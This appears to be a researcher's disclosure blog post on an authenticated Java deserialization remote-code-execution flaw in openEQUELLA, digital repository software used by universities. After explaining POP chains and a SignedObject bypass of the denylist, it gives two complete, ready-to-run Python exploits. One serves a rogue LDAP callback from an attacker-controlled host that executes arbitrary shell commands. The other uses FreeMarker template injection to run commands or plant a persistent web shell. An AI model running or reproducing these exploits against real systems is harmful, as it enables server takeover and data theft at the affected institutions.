Failing the Audit: Java Deserialization RCE Across Higher Education Infrastructure (CVE-2026-94109)
Summary: An authenticated deserialization vulnerability in openEQUELLA allows any logged-in user to inject a
SignedObjectpayload, unwrap it through a freshObjectInputStream(bypassing the application’s denylist), trigger an LDAP callback, and serve a JNR response that achieves arbitrary code execution on the server. A server-side template injection vulnerability provides an alternative path on JDK 17+.
https://www.cve.org/CVERecord?id=CVE-2026-94109
https://www.cve.org/CVERecord?id=CVE-2026-67615
Thanks to my friend James for pointing me at this thing.
OpenEQUELLA is digital repository software — it stores media, learning resources, and library content for educational institutions. Macquarie University uses it. Monash uses it. The University of Wollongong, California College of the Arts, and a collection of Australian TAFEs. It’s particularly common in Australian higher education. My friend James casually mentioned it existed, I looked it up, and forty-eight hours later I had RCE on every instance I tested. And honestly? That turnaround is the throughline here. A robust-looking application with a comprehensive denylist still fell in two days.
A Brief Primer on Why Deserialization Is Terrifying
Before diving into the specific vulnerability, it’s worth sitting with why deserialization bugs consistently produce some of the most severe findings in the Java landscape.
Object-oriented programming lets you represent data as classes with fields, methods, and inheritance hierarchies. Serialization: converting a live Java object into a byte stream so it can be stored to disk or sent over a network. Deserialization: the reverse — reconstructing that object from bytes. This is useful and ubiquitous. And at its core, it’s load-bearing infrastructure for a huge swath of Java applications.
The problem is Java’s magic methods. When an object is deserialized, certain methods are called automatically. The most pivotal is readObject:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
// any code here runs automatically on deserialization
}
If a class in the JVM’s classpath has a readObject that does something interesting — and many do — an attacker who can get the server to deserialize a crafted blob can trigger arbitrary method calls, without any explicit invocation. Here’s where it gets interesting.
POP chains turn this into RCE. Property-Oriented Programming — and it’s worth examining how it works, because it’s a genuine paradigm shift in how you think about “code execution” — works like ROP: instead of chaining small code gadgets, you chain objects whose existing readObject implementations produce useful side effects when composed. The classic example is PriorityQueue:
When Java deserializes a PriorityQueue, it calls heapify(), which internally calls comparator.compare(a, b) on the queue’s elements. If you set the comparator to Apache Commons BeanUtils’ BeanComparator, then compare(a, b) internally calls PropertyUtils.getProperty(a, propertyName), which does this:
String methodName = "get" + capitalize(propertyName);
Method m = obj.getClass().getMethod(methodName);
return m.invoke(obj);
That’s arbitrary getter invocation through reflection. Chain the property name to something interesting — say, "databaseMetaData" on a JdbcRowSetImpl — and you get arbitrary JNDI lookups. Which leads to RCE. The whole thing compounds elegantly: each step leverages existing trusted functionality to quietly enable the next.
The Sink
Any authenticated user, regardless of permissions, can POST a serialized Java object to /invoker/*.service:
public void handleRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
UserState userState = CurrentUser.getUserState();
if (userState.isGuest()) {
response.sendError(401, "Have to be logged in first");
return;
}
// ...
super.handleRequest(request, response); // calls readObject
}
The check is only for guests. Any real account — including the self-registration accounts that many openEQUELLA instances allow — gets through to readObject. The tell is in the distinction: it’s not “is this user authorized to invoke arbitrary remote services?” — it’s “is this user a guest?” Those are very different questions, and the gap between them is doing a lot of heavy lifting.
OpenEQUELLA extends Spring’s HttpInvokerServiceExporter with a custom PluginAwareObjectInputStream that applies a denylist:
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
All the usual ysoserial gadgets are blocked. TemplatesImpl — the standard path to loading arbitrary bytecode — is gone. This is a real obstacle. But it’s not the end of the road — and that’s the paradigm shift worth sitting with: a denylist is only as comprehensive as the attacker’s knowledge of what’s off it.
Defeating the Denylist: SignedObject
SignedObject isn’t on the denylist. Its getObject method is worth examining closely:
public Object getObject() throws IOException, ClassNotFoundException {
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInputStream o = new ObjectInputStream(b);
try { return o.readObject(); } finally { o.close(); }
}
It creates a new ObjectInputStream — a vanilla one, with no denylist. Whatever we’ve embedded inside the SignedObject gets deserialized without restriction. The throughline here is elegant in the most troubling sense: the denylist is load-bearing protection, and SignedObject quietly routes around it by creating a fresh context.
So: wrap a PriorityQueue payload inside a SignedObject, send it to the PluginAwareObjectInputStream. The outer deserializer sees SignedObject — not blocked. When the PriorityQueue heapifies, it calls BeanComparator.compare(signedObj, signedObj), which invokes signedObj.getObject(), which opens a fresh unrestricted ObjectInputStream and deserializes our inner payload.
The inner payload uses BeanComparator again with property name "databaseMetaData" on a JdbcRowSetImpl — triggering getDatabaseMetaData(), which initiates a JNDI/LDAP lookup to an attacker-controlled server.
From there, the LDAP server responds with a Java Naming Reference (JNR) instructing the target how to reconstruct an object locally. We point it at local classes already in the classpath:
javaNamingReference {
javaClassName = javax.el.ELProcessor
javaFactory = org.apache.naming.factory.BeanFactory
javaReferenceAddress {
#0 forceString = pageContext=eval
#1 pageContext = Runtime.getRuntime().exec(new String[]{"sh","-c","<CMD>"})
}
}
BeanFactory instantiates ELProcessor, then calls .eval() on the pageContext property via reflection, which evaluates the Java EL expression, which calls Runtime.exec(). Full RCE.
The JDK 17 Problem (And the Freemarker Solution)
This entire JNDI chain dies on JDK 17+. Remote class loading via JNDI has been hardened to the point where this approach simply doesn’t work on modern runtimes. The landscape changes. But the vulnerability doesn’t go away — it just requires navigating a different path.
Fortunately, openEQUELLA uses FreeMarker as its legitimate server-side templating engine — and honestly? This is the more groundbreaking of the two paths. FreeMarker templates support arbitrary Java execution:
<#assign v="freemarker.template.utility.ObjectConstructor"?new()>
<#assign p=v("java.lang.ProcessBuilder",["sh","-c","id"])>
<#assign pr=p.redirectErrorStream(true).start()>
The path: deserialize a legitimate FreeMarker portlet object (no gadget chains needed, just a valid serialized blob for the portlet service endpoint), embed a malicious FreeMarker template in it. The portlet gets created, it renders on the dashboard, the template executes.

Exploit (1) — JNDI Chain for JDK < 17
import argparse, base64
import socket
import sys
import threading
import time
import requests
from ldap3.protocol.rfc4511 import *
from pyasn1.codec.ber.encoder import encode
from pwn import *
stageone = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7dwEAeHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7dwEAeHBwdAAGb2JqZWN0dwQAAAADc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4ACEwADHRoZWFsZ29yaXRobXEAfgAEdwEAeHB1cgACW0Ks8xf4BghU4AIAAHcBAHhwAAAFtKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0+z+CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyACtvcmcuYXBhY2hlLmNvbW1vbnMuYmVhbnV0aWxzLkJlYW5Db21wYXJhdG9yAAAAAAAAAAECAAJMAApjb21wYXJhdG9ycQB+AAFMAAhwcm9wZXJ0eXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwcHQAEGRhdGFiYXNlTWV0YURhdGF3BAAAAANzcgAdY29tLnN1bi5yb3dzZXQuSmRiY1Jvd1NldEltcGzOJtgfSXPCBQIAB0wABGNvbm50ABVMamF2YS9zcWwvQ29ubmVjdGlvbjtMAA1pTWF0Y2hDb2x1bW5zdAASTGphdmEvdXRpbC9WZWN0b3I7TAACcHN0ABxMamF2YS9zcWwvUHJlcGFyZWRTdGF0ZW1lbnQ7TAAFcmVzTUR0ABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7TAAGcm93c01EdAAlTGphdmF4L3NxbC9yb3dzZXQvUm93U2V0TWV0YURhdGFJbXBsO0wAAnJzdAAUTGphdmEvc3FsL1Jlc3VsdFNldDtMAA9zdHJNYXRjaENvbHVtbnNxAH4ACXhyABtqYXZheC5zcWwucm93c2V0LkJhc2VSb3dTZXRD0R2lTcKx4AIAFUkAC2NvbmN1cnJlbmN5WgAQZXNjYXBlUHJvY2Vzc2luZ0kACGZldGNoRGlySQAJZmV0Y2hTaXplSQAJaXNvbGF0aW9uSQAMbWF4RmllbGRTaXplSQAHbWF4Um93c0kADHF1ZXJ5VGltZW91dFoACHJlYWRPbmx5SQAKcm93U2V0VHlwZVoAC3Nob3dEZWxldGVkTAADVVJMcQB+AARMAAthc2NpaVN0cmVhbXQAFUxqYXZhL2lvL0lucHV0U3RyZWFtO0wADGJpbmFyeVN0cmVhbXEAfgAPTAAKY2hhclN0cmVhbXQAEExqYXZhL2lvL1JlYWRlcjtMAAdjb21tYW5kcQB+AARMAApkYXRhU291cmNlcQB+AARMAAlsaXN0ZW5lcnNxAH4ACUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO0wABnBhcmFtc3QAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wADXVuaWNvZGVTdHJlYW1xAH4AD3hwAAAD8AEAAAPoAAAAAAAAAAIAAAAAAAAAAAAAAAABAAAD7ABwcHBwcHQAKUxEQVBfVVJMX1BMQUNFSE9MREVSX1hYWFhYWFhYWFhYWFhYWFhYWFhYc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHBzcgATamF2YS51dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHBwc3EAfgAVAAAAAAAAAAp1cQB+ABgAAAAKc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cP////9xAH4AIHEAfgAgcQB+ACBxAH4AIHEAfgAgcQB+ACBxAH4AIHEAfgAgcQB+ACB4cHBwcHNxAH4AFQAAAAAAAAAKdXEAfgAYAAAACnQAAXhwcHBwcHBwcHB4cQB+ABN4dXEAfgAKAAAALjAsAhQ4rYPaRsqPG7QXM5X7eEsZUiKJpAIUY5/IRUACikQnsLGeDDQn59eEj790AA1TSEEyNTZ3aXRoRFNBcQB+AAl4"
def plbuild(url):
t = bytearray(base64.b64decode(stageone))
u = url.encode()
i = t.find(b"LDAP_URL_PLACEHOLDER_XXXXXXXXXXXXXXXXXXXX")
old = u16(bytes(t[i - 2:i]), endian="big")
t[i - 2:i + old] = p16(len(u), endian="big") + u
return bytes(t)
def newmsg(mid, op_name, op):
m = LDAPMessage()
m["messageID"] = MessageID(mid)
m["protocolOp"].setComponentByName(op_name, op)
return encode(m)
def bindres(mid):
br = BindResponse()
br["resultCode"] = ResultCode("success")
br["matchedDN"] = LDAPDN("")
br["diagnosticMessage"] = LDAPString("")
return newmsg(mid, "bindResponse", br)
def search_entry(mid, dn, attrs):
e = SearchResultEntry()
e["object"] = LDAPDN(dn)
pal = PartialAttributeList()
for i, (name, vals) in enumerate(attrs):
pa = PartialAttribute()
pa["type"] = AttributeDescription(name)
for j, v in enumerate(vals):
pa["vals"].setComponentByPosition(j, AttributeValue(v))
pal.setComponentByPosition(i, pa)
e["attributes"] = pal
return newmsg(mid, "searchResEntry", e)
def search_done(mid):
d = SearchResultDone()
d["resultCode"] = ResultCode("success")
d["matchedDN"] = LDAPDN("")
d["diagnosticMessage"] = LDAPString("")
return newmsg(mid, "searchResDone", d)
def msgparser(sock):
hdr = sock.recv(2)
if len(hdr) < 2: return None, None
tag, first = hdr[0], hdr[1]
length = first if first < 128 else int.from_bytes(sock.recv(first & 0x7f), "big")
body = b""
while len(body) < length:
c = sock.recv(length - len(body))
if not c: break
body += c
return tag, body
def ldapsrv(sock, addr, cmd, hit):
esc = cmd.replace("\\", "\\\\").replace("\"", "\\\"").replace("$", "\\$")
el = f'Runtime.getRuntime().exec(new String[]{{"sh","-c","{esc}"}})'
print(f"+ ldap conn from {addr}")
try:
while True:
tag, body = msgparser(sock)
if tag is None: break
mid = int.from_bytes(body[2:2 + body[1]], "big")
op = body[2 + body[1]]
if op == 0x60:
sock.send(bindres(mid))
elif op == 0x63:
attrs = [
("objectClass", ["top", "javaNamingReference"]),
("javaClassName", ["javax.el.ELProcessor"]),
("javaFactory", ["org.apache.naming.factory.BeanFactory"]),
("javaReferenceAddress", [
"#0#forceString#pageContext=eval",
f"#1#pageContext#{el}",
]),
]
sock.send(search_entry(mid, "cn=x", attrs))
sock.send(search_done(mid))
hit[0] = True
print(f"+ served JNR")
elif op == 0x42:
break
except Exception as e:
print(f"! ldap: {e}")
finally:
try: sock.close()
except: pass
def startldap(port, cmd, hit):
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", port))
srv.listen(5)
print(f"+ LDAP on 0.0.0.0:{port}")
while True:
c, a = srv.accept()
threading.Thread(target=ldapsrv, args=(c, a, cmd, hit), daemon=True).start()
def auth(target, user, pw):
s = requests.Session()
s.verify = False
requests.packages.urllib3.disable_warnings()
r = s.post(f"{target}/logon.do", data={"j_username": user, "j_password": pw}, allow_redirects=True)
if r.status_code not in (200, 302) or "logon.do" in r.url.split("?")[0]:
r = s.post(f"{target}/session", data={"username": user, "password": pw})
if r.status_code != 200:
sys.exit(f"[-] auth {r.status_code}")
print("+ authed")
return s
def parse():
p = argparse.ArgumentParser()
p.add_argument("-t", "--target", required=True)
p.add_argument("-u", "--user", required=True)
p.add_argument("-p", "--password", required=True)
p.add_argument("-l", "--lhost", required=True)
p.add_argument("--lport", type=int, default=1389)
p.add_argument("--cmd", required=True)
return p.parse_args()
args = parse()
hit = [False]
threading.Thread(target=startldap, args=(args.lport, args.cmd, hit), daemon=True).start()
time.sleep(0.3)
s = auth(args.target, args.user, args.password)
url = f"ldap://{args.lhost}:{args.lport}/cn%3dx"
payload = plbuild(url)
r = s.post(
f"{args.target}/invoker/com.tle.core.remoting.RemoteUserService.service",
data=payload,
headers={"Content-Type": "application/x-java-serialized-object"}
)
print(f"got {r.status_code}")
for x in range(15):
if hit[0]: break
time.sleep(1)
if hit[0]:
print("+ callback received")
else:
print("- no ldap callback")
Exploit (2) — FreeMarker SSTI for JDK 17+
import argparse
import base64
import secrets
import string
import struct
import sys
import time
import uuid
import requests
stageone = "rO0ABXNyADVvcmcuc3ByaW5nZnJhbWV3b3JrLnJlbW90aW5nLnN1cHBvcnQuUmVtb3RlSW52b2NhdGlvbl9si5/2ChEKAgAEWwAJYXJndW1lbnRzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wACmF0dHJpYnV0ZXN0AA9MamF2YS91dGlsL01hcDtMAAptZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwAOcGFyYW1ldGVyVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt3AQB4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB3AQB4cAAAAAJzcgAZY29tLnRsZS5jb21tb24uRW50aXR5UGFjawAAAAAAAAABAgACTAAKYXR0cmlidXRlc3EAfgACTAAJc3RhZ2luZ0lEcQB+AAN3AQB4cgAfY29tLnRsZS5jb21tb24uSW1wb3J0RXhwb3J0UGFjawAAAAAAAAABAgAETAAGZW50aXR5dAASTGphdmEvbGFuZy9PYmplY3Q7TAAQb3RoZXJUYXJnZXRMaXN0c3EAfgACTAAKdGFyZ2V0TGlzdHQAJExjb20vdGxlL2NvbW1vbi9zZWN1cml0eS9UYXJnZXRMaXN0O0wAB3ZlcnNpb25xAH4AA3cBAHhwc3IAJGNvbS50bGUuY29tbW9uLnBvcnRhbC5lbnRpdHkuUG9ydGxldAAAAAAAAAABAgAGWgAJY2xvc2VhYmxlWgAHZW5hYmxlZFoADWluc3RpdHV0aW9uYWxaAAttaW5pbWlzYWJsZUwABmNvbmZpZ3EAfgADTAAEdHlwZXEAfgADdwEAeHIAH2NvbS50bGUuYmVhbnMuZW50aXR5LkJhc2VFbnRpdHkAAAAAAAAAAQIAC1oACGRpc2FibGVkSgACaWRaAApzeXN0ZW1UeXBlTAAKYXR0cmlidXRlc3QAEExqYXZhL3V0aWwvTGlzdDtMAAtkYXRlQ3JlYXRlZHQAEExqYXZhL3V0aWwvRGF0ZTtMAAxkYXRlTW9kaWZpZWRxAH4AEEwAC2Rlc2NyaXB0aW9udAAlTGNvbS90bGUvYmVhbnMvZW50aXR5L0xhbmd1YWdlQnVuZGxlO0wAC2luc3RpdHV0aW9udAAbTGNvbS90bGUvYmVhbnMvSW5zdGl0dXRpb247TAAEbmFtZXEAfgARTAAFb3duZXJxAH4AA0wABHV1aWRxAH4AA3cBAHhwAAAAAAAAAAAAAHBwcHBwc3IAI2NvbS50bGUuYmVhbnMuZW50aXR5Lkxhbmd1YWdlQnVuZGxlAAAAAAAAAAECAAJKAAJpZEwAB3N0cmluZ3NxAH4AAncBAHhwAAAAAAAAAABzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR3AQB4cD9AAAAAAAAMdwgAAAAQAAAAAXQAAmVuc3IAI2NvbS50bGUuYmVhbnMuZW50aXR5Lkxhbmd1YWdlU3RyaW5nAAAAAAAAAAECAAVKAAJpZEkACHByaW9yaXR5TAAGYnVuZGxlcQB+ABFMAAZsb2NhbGVxAH4AA0wABHRleHRxAH4AA3cBAHhwAAAAAAAAAAAAAAAAcQB+ABVxAH4AGHQABXV0aWxzeHB0ACRiZDZmYmI1OS0xYzE2LTRkNWQtYjYyZC0wNmE3NjFhMWIzZjEBAQABdAAxPHhtbD48bWFya3VwPkZUTE1BUktVUF9QTEFDRUhPTERFUjwvbWFya3VwPjwveG1sPnQACmZyZWVtYXJrZXJwcHBzcQB+ABY/QAAAAAAAAHcIAAAAEAAAAAB4dAAkNzY4ZmJmNTktMjQ3NS00ZmE0LWFlMzgtZGE3OGJmMGFjYWY1c3IAEWphdmEubGFuZy5Cb29sZWFuzSBygNWc+u4CAAFaAAV2YWx1ZXcBAHhwAHB0AANhZGR1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB3AQB4cAAAAAJ2cQB+AAh2cgAHYm9vbGVhbgAAAAAAAAAAAAAAdwEAeHA="
PLACEHOLDER = b"<xml><markup>FTLMARKUP_PLACEHOLDER</markup></xml>"
UUID1 = b"bd6fbb59-1c16-4d5d-b62d-06a761a1b3f1"
UUID2 = b"768fbf59-2475-4fa4-ae38-da78bf0acaf5"
def builder(ftl):
t = base64.b64decode(stageone)
t = t.replace(UUID1, str(uuid.uuid4()).encode())
t = t.replace(UUID2, str(uuid.uuid4()).encode())
esc = ftl.replace("&", "&").replace("<", "<").replace(">", ">")
cfg = f"<xml><markup>{esc}</markup></xml>".encode()
idx = t.find(PLACEHOLDER)
old_len = struct.unpack(">H", t[idx - 2:idx])[0]
return t[:idx - 2] + struct.pack(">H", len(cfg)) + cfg + t[idx + old_len:]
def cmdrun(cmd):
esc = cmd.replace("\\", "\\\\").replace('"', '\\"')
return f"""<#assign v="freemarker.template.utility.ObjectConstructor"?new()>
<#assign p=v("java.lang.ProcessBuilder",["sh","-c","{esc}"])>
<#assign pr=p.redirectErrorStream(true).start()>
<#assign br=v("java.io.BufferedReader",v("java.io.InputStreamReader",pr.getInputStream()))>
<div id="beamd"><![CDATA[<#list 1..10000 as i><#assign ln=br.readLine()!"__EOF__"><#if ln=="__EOF__"><#break></#if>${{ln}}
</#list>]]></div>"""
def sheller(param):
return f"""<#assign ex="freemarker.template.utility.Execute"?new()>
<#assign params=request.requestMap>
<#if params["{param}"]??>
<#assign cmd=params["{param}"][0]>
<pre id="beamd">${{ex(cmd)}}</pre>
</#if>"""
def auth(target, user, pw):
s = requests.Session()
s.verify = False
requests.packages.urllib3.disable_warnings()
r = s.post(f"{target}/logon.do", data={"j_username": user, "j_password": pw}, allow_redirects=True)
if r.status_code not in (200, 302) or "logon.do" in r.url.split("?")[0]:
r = s.post(f"{target}/session", data={"username": user, "password": pw})
if r.status_code != 200:
sys.exit(f"- auth failed {r.status_code}")
return s
def plant(s, target, ftl):
r = s.post(f"{target}/invoker/com.tle.common.portal.service.RemotePortletService.service",
data=builder(ftl),
headers={"Content-Type": "application/x-java-serialized-object"})
if r.status_code not in (200, 500):
sys.exit(f"- plant failed {r.status_code}")
print("+ portlet planted")
def parse():
p = argparse.ArgumentParser()
p.add_argument("-t", "--target", required=True)
p.add_argument("-u", "--user", required=True)
p.add_argument("-p", "--password", required=True)
g = p.add_mutually_exclusive_group(required=True)
g.add_argument("--cmd")
g.add_argument("--shell", action="store_true")
return p.parse_args()
args = parse()
s = auth(args.target, args.user, args.password)
if args.shell:
param = "".join(secrets.choice(string.ascii_lowercase) for _ in range(8))
print(f"shell param: {param}")
plant(s, args.target, sheller(param))
print(f"+ shell at: {args.target}/home.do?{param}=whoami")
else:
plant(s, args.target, cmdrun(args.cmd))
time.sleep(1)
r = s.get(f"{args.target}/home.do")
print(r.text)